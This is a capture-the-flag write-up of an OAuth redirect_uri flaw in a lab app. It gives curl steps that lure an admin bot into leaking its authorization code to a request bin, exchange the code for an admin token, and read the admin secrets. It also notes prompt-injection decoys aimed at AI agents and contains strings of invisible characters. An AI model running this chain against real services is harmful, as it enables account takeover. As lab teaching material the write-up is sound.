← Back to Writeups
HTBN/AWeb

DevRelay — Open Redirect in OAuth Authorization

XESXOR8/23/20266 min read
#web#htb#n/a

DevRelay — Open Redirect in OAuth Authorization

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-01 | Status: Solved Techniques: admin_bot_exploitation, authorization_code_interception, oauth_redirect_uri_open_redirect, oauth_token_exchange, request_bin_exfiltration

Summary

Task: DevRelay API platform uses OAuth 2.0 Authorization Code flow with no redirect_uri validation, plus an admin bot that visits user-submitted URLs. Solution: Craft malicious OAuth authorize URL redirecting the admin's auth code to a Request Bin, exchange the code for an access token, and access /api/admin/secrets.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260501_hackadvisor_devrelay
  • Tags: nodejs, session_hijacking, nginx, express, admin_bot, oauth2, open_redirect, authorization_code_flow, request_bin, token_exchange
  • Indicators: OAuth /oauth/authorize endpoint with no redirect_uri validation, support portal with admin bot that visits submitted URLs (admin is authenticated), built-in Request Bin feature usable as same-origin exfiltration endpoint, public OAuth client with no client_secret required for token exchange, robots.txt revealing /api/admin/secrets and /api/admin/config endpoints
  • Source: 20260501_hackadvisor_devrelay.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_exploitation
  2. Authorization_code_interception
  3. Oauth_redirect_uri_open_redirect
  4. Oauth_token_exchange
  5. Request_bin_exfiltration
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_exploitation
  • authorization_code_interception
  • oauth_redirect_uri_open_redirect
  • oauth_token_exchange
  • request_bin_exfiltration
  • Tags: nodejs, session_hijacking, nginx, express, admin_bot, oauth2, open_redirect, authorization_code_flow, request_bin, token_exchange

Original Writeup

<details><summary>Click to expand original content</summary>

Description

DevRelay is a comprehensive API development platform built by Relay Software Inc. It helps developers build, test, and monitor their APIs with features including OAuth-based single sign-on, API project management, a built-in request bin for debugging webhooks, and a support portal. The platform uses OAuth 2.0 Authorization Code flow for its SSO login system. Users can manage API projects, define endpoints, capture and inspect HTTP requests using request bins, and generate personal API keys. The support portal allows users to submit URLs for the admin team to review — an administrator will visit the submitted URL within seconds. The goal is to find a vulnerability in the OAuth flow that allows you to compromise the admin account and retrieve the secret flag from the admin API. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An Express.js (Node.js) API development platform behind nginx/1.25.5. The platform features OAuth 2.0 Authorization Code flow for SSO, a Request Bin for capturing HTTP requests, and a Support Portal where an admin bot visits user-submitted URLs. The OAuth /oauth/authorize endpoint performs zero validation on the redirect_uri parameter, allowing authorization codes to be redirected to arbitrary URLs. Combined with the admin bot and the built-in Request Bin (same origin), this enables stealing the admin's OAuth authorization code and exchanging it for an access token to access admin-only API endpoints. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Target: https://fad94eea-30da-4d20-89f6-df23fe06973c.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: Express.js (Node.js), nginx/1.25.5, OAuth 2.0 Authorization Code flow

Analysis

Reconnaissance

  1. Logged in with provided credentials user@test.com / password123
  2. Platform is Express/Node.js behind nginx/1.25.5
  3. Login page reveals OAuth SSO link: /oauth/authorize?client_id=devrelay-app&response_type=code&redirect_uri=http://localhost:8080/oauth/callback&scope=read+write
  4. robots.txt reveals sensitive endpoints: /api/admin/, /api/admin/secrets, /api/admin/config
  5. HTML pages contain decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) with prompt injection attempts targeting AI agents — correctly ignored
  6. Settings page reveals: OAuth token endpoint at http://localhost:8080/oauth/token, public client (no client secret required) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Endpoints

EndpointMethodPurpose
/oauth/authorizeGETOAuth authorization — no redirect_uri validation
/oauth/tokenPOSTExchange authorization code for access token
/api/requestbinPOSTCreate a new Request Bin
/api/requestbin/:idGETView captured requests
/api/requestbin/:id/captureANYCapture incoming requests (URL + headers + body)
/api/supportPOSTSubmit URL for admin bot to visit
/api/admin/secretsGETAdmin-only endpoint containing the flag
/api/admin/configGETAdmin-only config (also contains flag as platform_master_key)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability — OAuth Open Redirect

The core vulnerability is a complete lack of redirect_uri validation in the OAuth /oauth/authorize endpoint:

  • The legitimate redirect URI is http://localhost:8080/oauth/callback
  • Testing with redirect_uri=http://evil.com/callback → server responds 302 Found redirecting to http://evil.com/callback?code=<auth_code>
  • Any URL is accepted as redirect_uri, including the platform's own Request Bin capture endpoint
  • The OAuth client is public (no client_secret required), so anyone with an authorization code can exchange it for an access token ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack Chain

  1. Attacker creates a Request Bin on the platform → gets a capture URL on the same origin
  2. Attacker crafts a malicious OAuth URL with redirect_uri pointing to the Request Bin capture endpoint
  3. Attacker submits the URL to the Support Portal → admin bot visits it
  4. Admin bot is already authenticated → OAuth flow auto-approves → redirects to Request Bin with admin's auth code in query params
  5. Attacker reads the captured request from the Request Bin → extracts the authorization code
  6. Attacker exchanges the code for an access token at /oauth/token
  7. Attacker accesses /api/admin/secrets with the admin's access token → flag ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Create a Request Bin for Exfiltration

# Create a new Request Bin
curl -s -X POST "https://<target>/api/requestbin" \
  -H "Cookie: <session_cookie>" \
  -H "Content-Type: application/json" \
  -d '{"name": "OAuth Capture"}' | jq .

# Response: {"id": "2af22b3f-3c40-4dd4-92c6-ba2d81560d7e", ...}

Capture URL: http://localhost:8080/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e/capture

Step 2: Craft Malicious OAuth URL

http://localhost:8080/oauth/authorize?client_id=devrelay-app&response_type=code&redirect_uri=http://localhost:8080/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e/capture&scope=read+write

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This URL, when visited by an authenticated user, will:

  1. Generate an authorization code for that user
  2. Redirect them to our Request Bin with ?code=<auth_code> in the URL

Step 3: Submit to Support Portal (Trigger Admin Bot)

curl -s -X POST "https://<target>/api/support" \
  -H "Cookie: <session_cookie>" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "http://localhost:8080/oauth/authorize?client_id=devrelay-app&response_type=code&redirect_uri=http://localhost:8080/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e/capture&scope=read+write",
    "description": "Bug report"
  }'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The admin bot (HeadlessChrome/124.0.0.0 on Linux) visits the URL within seconds. Since the admin is already authenticated, the OAuth flow auto-approves and redirects to our Request Bin.

Step 4: Capture Admin's Authorization Code

# Check the Request Bin for captured requests
curl -s "https://<target>/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e" \
  -H "Cookie: <session_cookie>" | jq .

The captured request contains:

  • Authorization code in query params: code=3d39a4bfacfe0ee234fc64b43f1a333d1c8d8a331e66a7b4
  • Admin's session cookie (JWT) in the Cookie header
  • Admin identified as: Sarah (admin@devrelay.io), userId: 888e0203-b29f-4c81-b57b-0d2222aef759 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Exchange Code for Access Token

curl -s -X POST "https://<target>/oauth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code&code=3d39a4bfacfe0ee234fc64b43f1a333d1c8d8a331e66a7b4&redirect_uri=http://localhost:8080/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e/capture&client_id=devrelay-app"

Response:

{
  "access_token": "<admin_access_token>",
  "token_type": "Bearer",
  "expires_in": 3600,
  "scope": "read write"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Important: The redirect_uri in the token exchange must match the one used in the authorization request.

Step 6: Access Admin Secrets

curl -s "https://<target>/api/admin/secrets" \
  -H "Authorization: Bearer <admin_access_token>" | jq .

Response contains the flag. Also confirmed via /api/admin/config which returns the same flag as platform_master_key. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR